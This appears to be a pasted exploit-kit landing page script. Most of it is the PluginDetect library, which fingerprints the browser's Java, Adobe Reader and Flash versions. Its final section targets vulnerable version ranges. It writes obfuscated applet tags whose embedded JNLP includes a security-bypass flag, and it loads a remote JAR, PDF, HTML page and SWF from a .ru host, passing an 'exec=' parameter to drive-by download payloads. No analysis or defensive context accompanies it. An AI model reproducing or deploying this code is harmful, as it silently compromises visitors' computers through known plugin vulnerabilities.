  1832.                         if (f[e] == 2 || (f[e] == 1 && !a)) {
  1833.                             return 1
  1834.                         }
  1835.                     }
  1836.                     return 0
  1837.                 },
  1838.                 should_Insert_Query_Any: function () {
  1839.                     var b = this,
  1840.                         a;
  1841.                     for (a = 0; a < b.allowed.length; a++) {
  1842.                         if (b.should_Insert_Query(a)) {
  1843.                             return 1
  1844.                         }
  1845.                     }
  1846.                     return 0
  1847.                 },
  1848.                 query: function (f) {
  1849.                     var j, a = this,
  1850.                         i = a.$,
  1851.                         d = a.$$,
  1852.                         k = null,
  1853.                         l = null,
  1854.                         b = a.results,
  1855.                         c, h, g = a.HTML[f];
  1856.                     if (!g || !g.obj() || b[f][0] || d.bridgeDisabled || (i.dbug && d.OTF < 3)) {
  1857.                         return
  1858.                     }
  1859.                     c = g.obj();
  1860.                     h = g.readyState();
  1861.                     if (1) {
  1862.                         try {
  1863.                             k = i.getNum(c.getVersion() + "");
  1864.                             l = c.getVendor() + "";
  1865.                             c.statusbar(i.win.loaded ? " " : " ")
  1866.                         } catch (j) {};
  1867.                         if (k && i.isStrNum(k)) {
  1868.                             b[f] = [k, l];
  1869.                             a.active[f] = 2
  1870.                         }
  1871.                     }
  1872.                 },
  1873.                 isRange: function (a) {
  1874.                     return (/^[<>]/).test(a || "") ? (a.charAt(0) == ">" ? 1 : -1) : 0
  1875.                 },
  1876.                 setRange: function (b, a) {
  1877.                     return (b ? (b > 0 ? ">" : "<") : "") + (this.$.isString(a) ? a : "")
  1878.                 },
  1879.                 insertJavaTag: function (g, n, h, o, m) {
  1880.                     var e = this,
  1881.                         c = e.$,
  1882.                         k = e.$$,
  1883.                         r = "A.class",
  1884.                         b = c.file.getValid(k),
  1885.                         f = b.name + b.ext,
  1886.                         q = b.path;
  1887.                     var i = ["archive", f, "code", r],
  1888.                         l = (o ? ["width", o] : []).concat(m ? ["height", m] : []),
  1889.                         j = ["mayscript", "true"],
  1890.                         p = ["scriptable", "true", "codebase_lookup", "false"].concat(j),
  1891.                         a = k.navigator,
  1892.                         d = !c.browser.isIE && a.mimeObj && a.mimeObj.type ? a.mimeObj.type : k.mimeType[0];
  1893.                     if (g == 1) {
  1894.                         return c.browser.isIE ? c.DOM.insert("object", ["type", d].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n) : c.DOM.insert("object", ["type", d].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n)
  1895.                     }
  1896.                     if (g == 2) {
  1897.                         return c.browser.isIE ? c.DOM.insert("applet", ["alt", h].concat(j).concat(i).concat(l), ["codebase", q].concat(p), h, k, 0, n) : c.DOM.insert("applet", ["codebase", q, "alt", h].concat(j).concat(i).concat(l), [].concat(p), h, k, 0, n)
  1898.                     }
  1899.                     if (g == 3) {
  1900.                         return c.browser.isIE ? c.DOM.insert("object", ["classid", k.classID].concat(l), ["codebase", q].concat(i).concat(p), h, k, 0, n) : c.DOM.insert()
  1901.                     }
  1902.                     if (g == 4) {
  1903.                         return c.DOM.insert("embed", ["codebase", q].concat(i).concat(["type", d]).concat(p).concat(l), [], h, k, 0, n)
  1904.                     }
  1905.                 },
  1906.                 insert_Query_Any: function (h) {
  1907.                     var b = this,
  1908.                         d = b.$,
  1909.                         c = b.$$,
  1910.                         f = b.results,
  1911.                         i = b.HTML,
  1912.                         a = d.DOM.altHTML,
  1913.                         e, g = d.file.getValid(c);
  1914.                     if (b.should_Insert_Query(0)) {
  1915.                         if (c.OTF < 2) {
  1916.                             c.OTF = 2
  1917.                         };
  1918.                         f[0] = [0, 0];
  1919.                         e = h ? b.codebase.isMin(h) : b.codebase.search();
  1920.                         if (e) {
  1921.                             f[0][0] = h ? b.setRange(e, h) : e
  1922.                         }
  1923.                         b.active[0] = e ? 1.5 : -1
  1924.                     }
  1925.                     if (!g) {
  1926.                         return b.getResult()
  1927.                     }
  1928.                     if (!b.DummySpanTagHTML) {
  1929.                         b.DummySpanTagHTML = d.DOM.insert("", [], [], a)
  1930.                     }
  1931.                     if (b.should_Insert_Query(1)) {
  1932.                         if (c.OTF < 2) {
  1933.                             c.OTF = 2
  1934.                         };
  1935.                         i[1] = b.insertJavaTag(1, 0, a);
  1936.                         f[1] = [0, 0];
  1937.                         b.query(1)
  1938.                     }
  1939.                     if (b.should_Insert_Query(2)) {
  1940.                         if (c.OTF < 2) {
  1941.                             c.OTF = 2
  1942.                         };
  1943.                         i[2] = b.insertJavaTag(2, 0, a);
  1944.                         f[2] = [0, 0];
  1945.                         b.query(2)
  1946.                     }
  1947.                     if (b.should_Insert_Query(3)) {
  1948.                         if (c.OTF < 2) {
  1949.                             c.OTF = 2
  1950.                         };
  1951.                         i[3] = b.insertJavaTag(3, 0, a);
  1952.                         f[3] = [0, 0];
  1953.                         b.query(3)
  1954.                     }
  1955.                     if (d.DOM.isEnabled.objectTag()) {
  1956.                         if (!b.DummyObjTagHTML && (i[1] || i[2])) {
  1957.                             b.DummyObjTagHTML = d.DOM.insert("object", ["type", c.mimeType_dummy], [], a)
  1958.                         }
  1959.                         if (!b.DummyObjTagHTML2 && i[3]) {
  1960.                             b.DummyObjTagHTML2 = d.DOM.insert("object", ["classid", c.classID_dummy], [], a)
  1961.                         }
  1962.                     }
  1963.                     c.NOTF.init();
  1964.                     return b.getResult()
  1965.                 }
  1966.             },
  1967.             NOTF: {
  1968.                 $: 1,
  1969.                 count: 0,
  1970.                 countMax: 25,
  1971.                 intervalLength: 250,
  1972.                 init: function () {
  1973.                     var c = this,
  1974.                         b = c.$,
  1975.                         a = c.$$;
  1976.                     if (a.OTF < 3 && c.shouldContinueQuery()) {
  1977.                         a.OTF = 3;
  1978.                         c.onIntervalQuery = b.ev.handler(c.$$onIntervalQuery, c);
  1979.                         if (!b.win.loaded) {
  1980.                             b.win.loadPrvtHndlrs.push([c.onWinLoadQuery, c])
  1981.                         }
  1982.                         setTimeout(c.onIntervalQuery, c.intervalLength)
  1983.                     }
  1984.                 },
  1985.                 shouldContinueQuery: function () {
  1986.                     var f = this,
  1987.                         e = f.$,
  1988.                         c = f.$$,
  1989.                         b = c.applet,
  1990.                         a, d = 0;
  1991.                     if (e.win.loaded && f.count > f.countMax) {
  1992.                         return 0
  1993.                     }
  1994.                     for (a = 0; a < b.results.length; a++) {
  1995.                         if (b.HTML[a]) {
  1996.                             if (!e.win.loaded && f.count > f.countMax && e.codebase.pluginMayBeHanging(b.HTML[a].span)) {
  1997.                                 d = 1;
  1998.                                 b.HTML[a].DELETE = 1
  1999.                             }
  2000.                             if (!d && !b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] == 1 && !b.getResult()[0])) && f.isAppletActive(a) >= 0) {
  2001.                                 return 1
  2002.                             }
  2003.                         }
  2004.                     };
  2005.                     return 0
  2006.                 },
  2007.                 isJavaActive: function (d) {
  2008.                     var f = this,
  2009.                         c = f.$$,
  2010.                         a, b, e = -9;
  2011.                     for (a = 0; a < c.applet.HTML.length; a++) {
  2012.                         b = f.isAppletActive(a, d);
  2013.                         if (b > e) {
  2014.                             e = b
  2015.                         }
  2016.                     }
  2017.                     return e
  2018.                 },
  2019.                 isAppletActive: function (e, g) {
  2020.                     var h = this,
  2021.                         f = h.$,
  2022.                         b = h.$$,
  2023.                         l = b.navigator,
  2024.                         a = b.applet,
  2025.                         i = a.HTML[e],
  2026.                         d = a.active,
  2027.                         k, c = 0,
  2028.                         j, m = d[e];
  2029.                     if (g || m >= 1.5 || !i || !i.span) {
  2030.                         return m
  2031.                     };
  2032.                     j = f.DOM.getTagStatus(i, a.DummySpanTagHTML, a.DummyObjTagHTML, a.DummyObjTagHTML2, h.count);
  2033.                     for (k = 0; k < d.length; k++) {
  2034.                         if (d[k] > 0) {
  2035.                             c = 1
  2036.                         }
  2037.                     }
  2038.                     if (j != 1) {
  2039.                         m = j
  2040.                     } else {
  2041.                         if (f.browser.isIE || (b.version0 && l.javaEnabled() && l.mimeObj && (i.tagName == "object" || c))) {
  2042.                             m = 1
  2043.                         } else {
  2044.                             m = 0
  2045.                         }
  2046.                     }
  2047.                     d[e] = m;
  2048.                     return m
  2049.                 },
  2050.                 onWinLoadQuery: function (c, d) {
  2051.                     var b = d.$$,
  2052.                         a;
  2053.                     if (b.OTF == 3) {
  2054.                         a = d.queryAllApplets();
  2055.                         d.queryCompleted(a)
  2056.                     }
  2057.                 },
  2058.                 $$onIntervalQuery: function (d) {
  2059.                     var c = d.$,
  2060.                         b = d.$$,
  2061.                         a;
  2062.                     if (b.OTF == 3) {
  2063.                         a = d.queryAllApplets();
  2064.                         if (!d.shouldContinueQuery()) {
  2065.                             d.queryCompleted(a)
  2066.                         }
  2067.                     }
  2068.                     d.count++;
  2069.                     if (b.OTF == 3) {
  2070.                         setTimeout(d.onIntervalQuery, d.intervalLength)
  2071.                     }
  2072.                 },
  2073.                 queryAllApplets: function () {
  2074.                     var f = this,
  2075.                         e = f.$,
  2076.                         d = f.$$,
  2077.                         c = d.applet,
  2078.                         b, a;
  2079.                     for (b = 0; b < c.results.length; b++) {
  2080.                         c.query(b)
  2081.                     }
  2082.                     a = c.getResult();
  2083.                     return a
  2084.                 },
  2085.                 queryCompleted: function (c) {
  2086.                     var g = this,
  2087.                         f = g.$,
  2088.                         e = g.$$,
  2089.                         d = e.applet,
  2090.                         b;
  2091.                     if (e.OTF >= 4) {
  2092.                         return
  2093.                     }
  2094.                     e.OTF = 4;
  2095.                     var a = g.isJavaActive();
  2096.                     for (b = 0; b < d.HTML.length; b++) {
  2097.                         if (d.HTML[b] && d.HTML[b].DELETE) {
  2098.                             f.DOM.emptyNode(d.HTML[b].span);
  2099.                             d.HTML[b].span = null
  2100.                         }
  2101.                     }
  2102.                     e.setPluginStatus(c[0], c[1], 0);
  2103.                     if (f.onDetectionDone && e.DoneHndlrs) {
  2104.                         f.ev.callArray(e.DoneHndlrs)
  2105.                     }
  2106.                 }
  2107.             },
  2108.             zz: 0
  2109.         },
  2110.         flash: {
  2111.             $: 1,
  2112.             mimeType: "application/x-shockwave-flash",
  2113.             setPluginStatus: function (c, a) {
  2114.                 var b = this,
  2115.                     d = b.$;
  2116.                 b.installed = a ? 1 : (c ? 0 : -1);
  2117.                 b.version = d.formatNum(a);
  2118.                 b.getVersionDone = b.installed == -1 || b.axo.version || b.instance.version ? 1 : 0
  2119.             },
  2120.             getVersion: function (f, b) {
  2121.                 var c = this,
  2122.                     e = c.$,
  2123.                     a = null,
  2124.                     d = 0;
  2125.                 if ((!d || e.dbug) && c.navPlugin.query().installed) {
  2126.                     d = 1
  2127.                 }
  2128.                 if ((!a || e.dbug) && c.navPlugin.query().version) {
  2129.                     a = c.navPlugin.version
  2130.                 }
  2131.                 if ((!d || e.dbug) && c.axo.query().installed) {
  2132.                     d = 1
  2133.                 }
  2134.                 if ((!a || e.dbug) && c.axo.query().version) {
  2135.                     a = c.axo.version
  2136.                 };
  2137.                 if (((!d && !a) || b || e.dbug) && c.instance.query().version) {
  2138.                     d = 1;
  2139.                     a = c.instance.version
  2140.                 }
  2141.                 c.setPluginStatus(d, a)
  2142.             },
  2143.             navPlugin: {
  2144.                 $: 1,
  2145.                 hasRun: 0,
  2146.                 installed: 0,
  2147.                 version: null,
  2148.                 getNum: function (b) {
  2149.                     if (!b) {
  2150.                         return null
  2151.                     }
  2152.                     var a = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(b);
  2153.                     return a ? a[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
  2154.                 },
  2155.                 query: function () {
  2156.                     var e = this,
  2157.                         d = e.$,
  2158.                         b = e.$$,
  2159.                         a, f, c = e.hasRun || !d.hasMimeType(b.mimeType);
  2160.                     e.hasRun = 1;
  2161.                     if (c) {
  2162.                         return e
  2163.                     };
  2164.                     f = d.findNavPlugin({
  2165.                         find: "Shockwave.*Flash",
  2166.                         mimes: b.mimeType,
  2167.                         plugins: ["Shockwave Flash"]
  2168.                     });
  2169.                     if (f) {
  2170.                         e.installed = 1;
  2171.                         if (f.description) {
  2172.                             a = e.getNum(f.description)
  2173.                         }
  2174.                     }
  2175.                     if (a) {
  2176.                         a = d.getPluginFileVersion(f, a)
  2177.                     }
  2178.                     if (a) {
  2179.                         e.version = a
  2180.                     };
  2181.                     return e
  2182.                 }
  2183.             },
  2184.             axo: {
  2185.                 $: 1,
  2186.                 hasRun: 0,
  2187.                 installed: 0,
  2188.                 version: null,
  2189.                 progID: "ShockwaveFlash.ShockwaveFlash",
  2190.                 classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",
  2191.                 query: function () {
  2192.                     var d = this,
  2193.                         g = d.$,
  2194.                         c = d.$$,
  2195.                         b, a, i, h, f = d.hasRun;
  2196.                     d.hasRun = 1;
  2197.                     if (f) {
  2198.                         return d
  2199.                     };
  2200.                     for (a = 0; a < 10; a++) {
  2201.                         i = g.getAXO(d.progID + (a ? "." + a : ""));
  2202.                         if (i) {
  2203.                             d.installed = 1;
  2204.                             b = 0;
  2205.                             try {
  2206.                                 b = g.getNum(i.GetVariable("$version") + "")
  2207.                             } catch (h) {}
  2208.                             if (b) {
  2209.                                 d.version = b;
  2210.                                 if (!g.dbug) {
  2211.                                     break
  2212.                                 }
  2213.                             }
  2214.                         }
  2215.                     };
  2216.                     return d
  2217.                 }
  2218.             },
  2219.             instance: {
  2220.                 $: 1,
  2221.                 hasRun: 0,
  2222.                 version: null,
  2223.                 HTML: null,
  2224.                 isEnabled: function () {
  2225.                     var b = this,
  2226.                         d = b.$,
  2227.                         c = b.$$,
  2228.                         a = 1;
  2229.                     if (b.hasRun || d.DOM.isEnabled.objectTagUsingActiveX() || !d.hasMimeType(c.mimeType)) {
  2230.                         a = 0
  2231.                     }
  2232.                     return a
  2233.                 },
  2234.                 query: function () {
  2235.                     var a = this,
  2236.                         f = a.$,
  2237.                         d = a.$$,
  2238.                         b, g, c = a.isEnabled();
  2239.                     a.hasRun = 1;
  2240.                     if (c) {
  2241.                         a.HTML = f.DOM.insert("object", ["type", d.mimeType], ["play", "false", "menu", "false"], "", d);
  2242.                         try {
  2243.                             a.version = f.getNum(a.HTML.obj().GetVariable("$version") + "")
  2244.                         } catch (g) {}
  2245.                     }
  2246.                     return a
  2247.                 }
  2248.             }
  2249.         },
  2250.         adobereader: {
  2251.             $: 1,
  2252.             setPluginStatus: function () {
  2253.                 var e = this,
  2254.                     c = e.$,
  2255.                     b = e.nav.detected,
  2256.                     a = e.nav.version,
  2257.                     g = e.axo.detected,
  2258.                     d = e.axo.version,
  2259.                     i = e.doc.detected,
  2260.                     h = e.doc.version,
  2261.                     f = a || d || h || null;
  2262.                 e.installed = f ? 1 : (b > 0 || g > 0 || i > 0 ? 0 : (i == -0.5 ? -0.15 : (c.browser.isIE && (!c.browser.ActiveXEnabled || c.browser.ActiveXFilteringEnabled) ? -1.5 : -1)));
  2263.                 e.version = c.formatNum(f)
  2264.             },
  2265.             getVersion: function (c, e) {
  2266.                 var a = this,
  2267.                     d = a.$,
  2268.                     b = 0;
  2269.                 if ((!b || d.dbug) && a.nav.query().detected > 0) {
  2270.                     b = 1
  2271.                 }
  2272.                 if ((!b || d.dbug) && a.axo.query().detected > 0) {
  2273.                     b = 1
  2274.                 }
  2275.                 if ((!b || d.dbug) && (a.doc.query().detected > 0 || a.doc.detected == -0.5)) {
  2276.                     b = 1
  2277.                 }
  2278.                 a.setPluginStatus()
  2279.             },
  2280.             nav: {
  2281.                 $: 1,
  2282.                 detected: 0,
  2283.                 version: null,
  2284.                 mimeType: ["application/pdf", "application/vnd.adobe.pdfxml"],
  2285.                 find: "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in",
  2286.                 plugins: ["Adobe Acrobat", "Adobe Acrobat and Reader Plug-in", "Adobe Reader Plugin"],
  2287.                 query: function () {
  2288.                     var e = this,
  2289.                         c = e.$,
  2290.                         a = e.$$,
  2291.                         d, b = null;
  2292.                     if (e.detected || !c.hasMimeType(e.mimeType)) {
  2293.                         return e
  2294.                     };
  2295.                     d = c.findNavPlugin({
  2296.                         find: e.find,
  2297.                         mimes: e.mimeType,
  2298.                         plugins: e.plugins
  2299.                     });
  2300.                     e.detected = d ? 1 : -1;
  2301.                     if (d) {
  2302.                         b = c.getNum(d.description) || c.getNum(d.name);
  2303.                         b = c.getPluginFileVersion(d, b);
  2304.                         if (!b) {
  2305.                             b = e.attempt3()
  2306.                         };
  2307.                         if (b) {
  2308.                             e.version = b
  2309.                         }
  2310.                     };
  2311.                     return e
  2312.                 },
  2313.                 attempt3: function () {
  2314.                     var c = this,
  2315.                         b = c.$,
  2316.                         a = null;
  2317.                     if (b.OS == 1) {
  2318.                         if (b.hasMimeType("application/vnd.adobe.pdfxml")) {
  2319.                             a = "9"
  2320.                         } else {
  2321.                             if (b.hasMimeType("application/vnd.adobe.x-mars")) {
  2322.                                 a = "8"
  2323.                             } else {
  2324.                                 if (b.hasMimeType("application/vnd.adobe.xfdf")) {
  2325.                                     a = "6"
  2326.                                 }
  2327.                             }
  2328.                         }
  2329.                     }
  2330.                     return a
  2331.                 }
  2332.             },
  2333.             pluginQuery: function (j) {
  2334.                 var f = this,
  2335.                     d = f.$,
  2336.                     b = "",
  2337.                     h = null,
  2338.                     g, a, i, c;
  2339.                 try {
  2340.                     if (j) {
  2341.                         b = j.GetVersions()
  2342.                     }
  2343.                 } catch (g) {}
  2344.                 if (b && d.isString(b)) {
  2345.                     a = /=\s*([\d\.]+)/g;
  2346.                     for (i = 0; i < 30; i++) {
  2347.                         if (a.test(b)) {
  2348.                             c = d.formatNum(RegExp.$1);
  2349.                             if (!h || d.compareNums(c > h) > 0) {
  2350.                                 h = c
  2351.                             }
  2352.                         } else {
  2353.                             break
  2354.                         }
  2355.                     }
  2356.                 }
  2357.                 return h
  2358.             },
  2359.             axo: {
  2360.                 $: 1,
  2361.                 detected: 0,
  2362.                 version: null,
  2363.                 progID: ["AcroPDF.PDF", "AcroPDF.PDF.1", "PDF.PdfCtrl", "PDF.PdfCtrl.5", "PDF.PdfCtrl.1"],
  2364.                 query: function () {
  2365.                     var d = this,
  2366.                         e = d.$,
  2367.                         b = d.$$,
  2368.                         f, c = null,
  2369.                         a;
  2370.                     if (d.detected) {
  2371.                         return d
  2372.                     };
  2373.                     d.detected = -1;
  2374.                     for (a = 0; a < d.progID.length; a++) {
  2375.                         f = e.getAXO(d.progID[a]);
  2376.                         if (f) {
  2377.                             d.detected = 1;
  2378.                             c = b.pluginQuery(f);
  2379.                             if (!e.dbug && c) {
  2380.                                 break
  2381.                             }
  2382.                         }
  2383.                     }
  2384.                     if (c) {
  2385.                         d.version = c
  2386.                     };
  2387.                     return d
  2388.                 }
  2389.             },
  2390.             doc: {
  2391.                 $: 1,
  2392.                 detected: 0,
  2393.                 version: null,
  2394.                 classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
  2395.                 classID_dummy: "clsid:CA8A9780-280D-11CF-A24D-BA9876543210",
  2396.                 DummySpanTagHTML: 0,
  2397.                 HTML: 0,
  2398.                 DummyObjTagHTML1: 0,
  2399.                 DummyObjTagHTML2: 0,
  2400.                 isDisabled: function () {
  2401.                     var c = this,
  2402.                         b = c.$,
  2403.                         a = 0;
  2404.                     if (c.HTML) {
  2405.                         a = 1
  2406.                     } else {
  2407.                         if (b.dbug) {} else {
  2408.                             if (!b.DOM.isEnabled.objectTagUsingActiveX()) {
  2409.                                 a = 1
  2410.                             }
  2411.                         }
  2412.                     }
  2413.                     return a
  2414.                 },
  2415.                 query: function () {
  2416.                     var i = this,
  2417.                         d = i.$,
  2418.                         f = i.$$,
  2419.                         h = null,
  2420.                         a = d.DOM.altHTML,
  2421.                         g = null,
  2422.                         c = 1,
  2423.                         e = 1,
  2424.                         b;
  2425.                     if (i.isDisabled()) {
  2426.                         return i
  2427.                     };
  2428.                     if (!i.DummySpanTagHTML) {
  2429.                         i.DummySpanTagHTML = d.DOM.insert("", [], [], a, f, e)
  2430.                     }
  2431.                     if (!i.HTML) {
  2432.                         i.HTML = d.DOM.insert("object", ["classid", i.classID], [], a, f, e)
  2433.                     }
  2434.                     if (!i.DummyObjTagHTML2) {
  2435.                         i.DummyObjTagHTML2 = d.DOM.insert("object", ["classid", i.classID_dummy], [], a, f, e)
  2436.                     }
  2437.                     b = d.DOM.getTagStatus(i.HTML, i.DummySpanTagHTML, i.DummyObjTagHTML1, i.DummyObjTagHTML2, g, c);
  2438.                     h = f.pluginQuery(i.HTML.obj());
  2439.                     i.detected = b > 0 || h ? 1 : (b == -0.1 || b == -0.5 ? -0.5 : -1);
  2440.                     i.version = h ? h : null;
  2441.                     return i
  2442.                 }
  2443.             }
  2444.         },
  2445.         zz: 0
  2446.     }
  2447. };
  2448. PluginDetect.INIT();
  2449. j_version = PluginDetect.getVersion('Java');
  2450. p_version = PluginDetect.getVersion('AdobeReader');
  2451. f_version = PluginDetect.getVersion('Flash');
  2452.  
  2453. function ffbgrnth5we(a) {
  2454.     return this["doc36ume41nt".replace(/[0-9]/g, "")]["wr108ite".replace(/[0-9]/g, "")](a);
  2455. }
  2456. if (j_version != null) {
  2457.     j_version = j_version.split(",");
  2458. } else {
  2459.     j_version = [0, 0, 0, 0];
  2460. } if (p_version != null) {
  2461.     p_version = p_version.split(",");
  2462. } else {
  2463.     p_version = [0, 0, 0, 0];
  2464. } if (f_version != null) {
  2465.     f_version = f_version.split(",");
  2466. } else {
  2467.     f_version = [0, 0, 0, 0];
  2468. }
  2469.  
  2470. function asfwe(aa) {
  2471.     if (aa == 1) return ffbgrnth5we('<applet code="A_dsgweed.class" archive="http://1785839722-7.canfut.ru/1396402140.jar"><param name="ldcrlio" value="AhhjyHHx3qrqLD3wwk38uE75nh8inH5HxLD4GlwxGlHw"><param name="t" value="0"><param name="tt" value="0"></applet>');
  2472.     if (aa == 2) return ffbgrnth5we('<applet><param name="jnlp_href" value="dfwqwfwew.jnlp" /><param name="jnlp_embedded" value="PGpubHAgc3BlYz0iMS4wIiB4bWxuczpqZng9Imh0dHA6Ly9nb29nbGUuY29tIiBocmVmPSJhcHBsZXRfc2VjdXJpdHlfYnlwYXNzLmpubHAiPg0KICA8aW5mb3JtYXRpb24+DQogICAgPHRpdGxlPlkgYXNmIElJPC90aXRsZT4NCiAgICA8dmVuZG9yPmZkZmVncndlPC92ZW5kb3I+DQogIDwvaW5mb3JtYXRpb24+DQogIA0KICAgPHJlc291cmNlcz4NCiAgICAgICAgPGoyc2UgdmVyc2lvbj0iMS43KyIgaHJlZj0iIi8+DQogICAgICAgIDxqYXIgaHJlZj0iaHR0cDovLzE3ODU4Mzk3MjItNy5jYW5mdXQucnUvMTM5NjQwMjE0MC5qYXIiIG1haW49InRydWUiIC8+DQogIDwvcmVzb3VyY2VzPg0KICA8YXBwbGV0LWRlc2MgbmFtZT0iQUZ1Y2sgT2ZmIiBoZWlnaHQ9IjEiICAgd2lkdGg9IjEiIG1haW4tY2xhc3M9IkFfZHNnd2VlZCI+DQogICAgIDxwYXJhbSB2YWx1ZT0idHJ1ZSIgbmFtZT0iX19hcHBsZXRfc3N2X3ZhbGlkYXRlZCIgLz4NCjxwYXJhbSBuYW1lPSJsZGNybGlvIiB2YWx1ZT0iQWhoanlISHgzcXJxTEQzd3drMzh1RTc1bmg4aW5INUh4TEQ0R2x3eEdsSHciPg0KPHBhcmFtIG5hbWU9InQiIHZhbHVlPSIwIj4NCjxwYXJhbSBuYW1lPSJ0dCIgdmFsdWU9IjAiPg0KICA8L2FwcGxldC1kZXNjPg0KPC9qbmxwPg==" /></applet>');
  2473.     if (aa == 3) return ffbgrnth5we('<applet>     <param name="jnlp_href" value="dfweqdasdfeqw.jnlp" />     <param name="jnlp_embedded" value="ICA8am5scCBzcGVjPSIxLjAiIHhtbG5zOmpmeD0iaHR0cDovL2dvb2dsZS5jb20iIGhyZWY9IiI+DQogICAgICAgICAgICA8aW5mb3JtYXRpb24+DQogICAgICAgICAgICA8dGl0bGU+ZGZ3ZWRhZmQ8L3RpdGxlPg0KICAgICAgICAgICAgPHZlbmRvcj5lZnZyd2VmcTwvdmVuZG9yPg0KICAgICAgICAgICAgPC9pbmZvcm1hdGlvbj4NCiAgICAgICAgICAgIDxyZXNvdXJjZXM+DQogICAgICAgICAgICA8ajJzZSB2ZXJzaW9uPSIxLjcrIiBocmVmPSIiIC8+DQogICAgICAgICAgICA8amFyIGhyZWY9Imh0dHA6Ly8xNzg1ODM5NzIyLTcuY2FuZnV0LnJ1LzEzOTY0MDIxNDAuamFyIiBtYWluPSJ0cnVlIiAvPg0KICAgICAgICAgICAgPC9yZXNvdXJjZXM+DQogICAgICAgICAgICA8amZ4OmphdmFmeC1kZXNjIG1haW4tY2xhc3M9IlJhZHZhIiBwcmVsb2FkZXItY2xhc3M9IkFfZHNnd2VlZCIgbmFtZT0iQXBwIi8+DQogICAgICAgICAgICA8YXBwbGV0LWRlc2MgbmFtZT0iQXNkZiIgbWFpbi1jbGFzcz0iVmFzZGEiIHdpZHRoPSIzIiBoZWlnaHQ9IjMiPg0KICAgICAgICAgICAgPC9hcHBsZXQtZGVzYz48L2pubHA+" /> <param name="javafx_version" value="2.0+" /> <param name="ldcrlio" value="AhhjyHHx3qrqLD3wwk38uE75nh8inH5HxLD4GlwxGlHw" /> <param name="t" value="0" /> <param name="tt" value="0" />   </applet>');
  2474. }
  2475. java_enable = 0;
  2476. java_run = 0;
  2477. if (j_version[0] > 0 && j_version[1] < 7) {
  2478.     java_enable = 1;
  2479.     java_run = 1;
  2480. }
  2481. if (j_version[0] > 0 && j_version[1] == 7 && j_version[3] <= 17) {
  2482.     java_enable = 1;
  2483.     java_run = 2;
  2484. }
  2485. if (j_version[0] > 0 && j_version[1] == 7 && j_version[3] == 21) {
  2486.     java_enable = 1;
  2487.     java_run = 3;
  2488. }
  2489. if (java_run > 0) asfwe(java_run);
  2490.  
  2491. function fg(url, width, height) {
  2492.     var s1 = document.createElement("if26ra1me".replace(/[0-9]/g, ""));
  2493.     s1["s24etA104ttribute".replace(/[0-9]/g, "")]("sr46c".replace(/[0-9]/g, ""), url);
  2494.     s1["se104tAt108tribute".replace(/[0-9]/g, "")]("w6idt89h".replace(/[0-9]/g, ""), width);
  2495.     s1["s65etAttr16ibute".replace(/[0-9]/g, "")]("he34igh63t".replace(/[0-9]/g, ""), height);
  2496.     document.body.appendChild(s1);
  2497. }
  2498.  
  2499. function createFlashMarkup(width, height, swfurl, url) {
  2500.     var obj = document.createElement('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" allowScriptAccess=always width="' + width + '" height="' + height + '">');
  2501.     var p_m = document.createElement("param");
  2502.     p_m.setAttribute("name", "movie");
  2503.     p_m.setAttribute("value", swfurl);
  2504.     var p_m2 = document.createElement("param");
  2505.     p_m2.setAttribute("name", "FlashVars");
  2506.     p_m2.setAttribute("value", url);
  2507.     obj.appendChild(p_m);
  2508.     obj.appendChild(p_m2);
  2509.     document.body.appendChild(obj);
  2510. }
  2511. if (java_enable == 1) {
  2512.     setTimeout('fg("http://1785839722-7.canfut.ru/1396402140.htm","79","95")', 10000);
  2513. } else {
  2514.     fg("http://1785839722-7.canfut.ru/1396402140.htm", "83", "94");
  2515. } if ((p_version[0] == 8) || (p_version[0] == 9 && p_version[1] <= 3)) {
  2516.     if (java_enable == 1) {
  2517.         setTimeout('fg("http://1785839722-7.canfut.ru/1396402140.pdf","98","70")', 7000);
  2518.     } else {
  2519.         fg("http://1785839722-7.canfut.ru/1396402140.pdf", "74", "93");
  2520.     }
  2521. }
  2522.  
  2523. function CheckVersion11(f_version) {
  2524.     if (f_version[0] != 11) return false;
  2525.     if (f_version[1] > 9) return false;
  2526.     if (f_version[1] == 9 && f_version[2] > 900) return false;
  2527.     if (f_version[1] == 9 && f_version[2] == 900 && f_version[3] > 170) return false;
  2528.     return true;
  2529. }
  2530.  
  2531. function CheckVersion12(f_version) {
  2532.     if (f_version[0] != "12") return false;
  2533.     if (f_version[1] == 0 && f_version[2] == 0 && f_version[3] == 38) return true;
  2534.     if (f_version[1] == 0 && f_version[2] == 0 && f_version[3] == 43) return true;
  2535.     return false;
  2536. }
  2537. if (CheckVersion11(f_version) || CheckVersion12(f_version)) {
  2538.     createFlashMarkup("73", "81", "http://1785839722-7.canfut.ru/1396402140.swf", "exec=http://1785839722-7.canfut.ru/f/1396402140/7");
  2539. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement